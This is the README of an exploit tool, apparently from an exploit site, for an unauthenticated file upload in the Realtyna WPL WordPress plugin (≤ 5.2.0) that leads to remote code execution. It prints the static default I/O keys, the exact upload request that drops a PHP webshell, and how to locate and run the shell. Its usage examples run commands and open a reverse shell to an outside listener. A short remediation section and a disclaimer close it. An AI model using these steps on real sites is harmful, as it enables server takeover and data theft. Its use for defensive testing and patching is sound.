## https://sploitus.com/exploit?id=FF51B164-5684-5C69-BE3E-5B777005D22B
# CVE-2026-14483 — Realtyna WPL / Organic IDX Unauthenticated Arbitrary File Upload → RCE
Unauthenticated arbitrary file upload leading to RCE in the **Realtyna WPL / Organic IDX**
WordPress plugin (`real-estate-listing-realtyna-wpl` ≤ 5.2.0).
The plugin registers an **"I/O service"** on the public WordPress `init` hook, reachable
**unauthenticated** at the site root via `?wplview=io&wplformat=io`. The only gate is a pair of
**static, hard-coded default keys** shipped in the plugin's migrations (identical on every
install), with `io_status` enabled by default:
```
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
```
The `set_property` command (`libraries/io/mobile_application/set_property.php` → `wpl_file::upload`)
saves the uploaded `file[]` with `move_uploaded_file` and **no extension/MIME check**, so a `.php`
webshell can be dropped and executed as the web user.
- **Affected:** `real-estate-listing-realtyna-wpl` ≤ 5.2.0
- **Fixed:** 5.3.0 (the vulnerable unauthenticated command was removed)
- **CWE:** 434 (Unrestricted Upload of File with Dangerous Type)
- **Impact:** unauthenticated RCE as the web user (`www-data`)
## Requirements
Python 3 standard library only — no dependencies.
## Usage
```bash
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
```
## How it works
1. **Upload** — `POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1`
with a multipart `file[]` named `image_.php`. The `image_` prefix is stripped, so the file
is saved as `.php`.
2. **Locate** — the webshell lands at `wp-content/uploads/WPL//.php`, where `` is
the id of the property created by the request (the response doesn't echo it). The tool
enumerates small property ids to find the shell.
3. **Execute** — browse `…/.php?c=`.
## Identifying a target
A WordPress site with the `real-estate-listing-realtyna-wpl` plugin ≤ 5.2.0 active. The endpoint
responds at `GET /?wplview=io&wplformat=io` (the plugin's I/O service).
## Remediation
Update the plugin to ≥ 5.3.0, validate upload extensions/MIME, never execute PHP from
`wp-content/uploads`, and rotate the plugin's static default I/O keys.
## Disclaimer
For authorized security testing and education only. Use it only against systems you own or have
explicit permission to test.